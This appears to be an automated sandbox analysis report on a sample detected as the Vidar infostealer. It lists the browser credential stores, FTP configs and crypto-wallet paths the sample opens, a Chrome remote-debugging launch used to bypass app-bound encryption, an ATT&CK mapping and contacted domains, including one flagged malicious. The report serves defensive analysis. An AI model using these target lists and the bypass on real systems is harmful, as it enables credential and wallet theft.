Source: Cet.com, 0000000D.00000002.3218327209.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Cet.com, 0000000D.00000002.3218327209.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: multidoge.wallet
Source: Cet.com, 0000000D.00000002.3217675963.0000000001132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: Cet.com, 0000000D.00000002.3217675963.0000000001132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: Cet.com, 0000000D.00000002.3218327209.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\saved-telemetry-pings\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\security_state\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Cet.com	Binary or memory string: WIN_81
Source: Cet.com	Binary or memory string: WIN_XP
Source: Cet.com, 0000000D.00000000.2156635560.00000000003A3000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: Cet.com	Binary or memory string: WIN_XPe
Source: Cet.com	Binary or memory string: WIN_VISTA
Source: Cet.com	Binary or memory string: WIN_7
Source: Cet.com	Binary or memory string: WIN_8

Source: Yara match	File source: 0000000D.00000002.3218327209.00000000039FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Cet.com PID: 1340, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: Cet.com PID: 1340, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00362263 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		13_2_00362263
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00361C61 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		13_2_00361C61

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	1 Software Packing	NTDS	27 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	112 Process Injection	1 Extra Window Memory Injection	Cached Domain Credentials	21 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Valid Accounts	Proc Filesystem	4 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	112 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Link
1l1ohfybAf.exe	14%	Virustotal	Browse
1l1ohfybAf.exe	11%	ReversingLabs
1l1ohfybAf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\phlng\pp8q1n	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\815387\Cet.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Grows	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://anglebug.com/7369)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	142.250.185.238	true	false	high
a416.dscd.akamai.net	2.19.126.152	true	false	high
t.me	149.154.167.99	true	false	high
a-0003.a-msedge.net	204.79.197.203	true	false	high
c-msn-pme.trafficmanager.net	13.74.129.1	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
getyour.cyou	116.202.5.153	true	true	unknown
play.google.com	142.250.186.174	true	false	high
sb.scorecardresearch.com	18.244.18.38	true	false	high
www.google.com	142.250.185.228	true	false	high
e28578.d.akamaiedge.net	2.23.209.20	true	false	high
googlehosted.l.googleusercontent.com	172.217.16.129	true	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
veAKnoaZvrQWQFNKsKVJFclAj.veAKnoaZvrQWQFNKsKVJFclAj	unknown	unknown	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://clients2.googleusercontent.com/crx/blobs/ASuc5ohfQPNzGo5SSihcSk6msC8CUKw5id-p0KCEkBKwK2LS4AjdrDP0wa1qjzCTaTWEfyM52ADmUAdPETYA5vgD87UPEj6gyG11hjsvMLHGmzQgJ9F5D8s8Lo0Lbai5BQYAxlKa5esPJXukyaicyq83JwZ0HIWqzrjN/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_86_1_0.crx	false	high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1738425239885&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1738425237868&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1738425240353&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true	false	high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false	high
https://sb.scorecardresearch.com/b?rn=1738425237871&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=068200E89A0E61812B5B156E9B8460A6&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://c.msn.com/c.gif?rnd=1738425237870&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7b4fd8c1b4784488bdaa91d4f930c656&activityId=7b4fd8c1b4784488bdaa91d4f930c656&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=3F0D921A346C45C6A2594B48BC5655B0&MUID=068200E89A0E61812B5B156E9B8460A6	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Cet.com, 0000000D.00000002.3218939111.0000000003BBE000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3220110067.000000000585A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2676802503.0000512800C70000.00000004.00000800.00020000.00000000.sdmp, 6fkfkx.13.dr, Web Data.24.dr, 8y5fk6.13.dr	false		high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	chrome.exe, 00000013.00000002.2672175138.00005128004E0000.00000004.00000800.00020000.00000000.sdmp, 6fkfkx.13.dr, Web Data.24.dr, 8y5fk6.13.dr	false		high
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000013.00000002.2670560917.0000512800078000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com/0	000003.log7.24.dr	false		high
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/J	chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000013.00000002.2679057167.0000512800F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673651601.00005128007D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2671895706.000051280040C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com/_default	QuotaManager.24.dr	false		high
http://anglebug.com/4633	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/284462263	msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.24.dr	false		high
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000013.00000002.2672175138.00005128004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673709279.000051280080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673737608.000051280081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679995204.00005128010F0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000013.00000003.2597110472.0000512801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598841114.000051280120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596934281.0000512800F68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598730491.0000512801178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2597495418.0000512800F58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596631082.0000512800F14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598144787.00005128003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2597535079.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2672061734.00005128004B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596852577.000051280107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2671468721.00005128002EB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596895712.00005128010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2597461988.0000512800488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2597687481.0000512800FB0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	manifest.json.24.dr	false		high
https://docs.google.com/document/:	chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	false		high
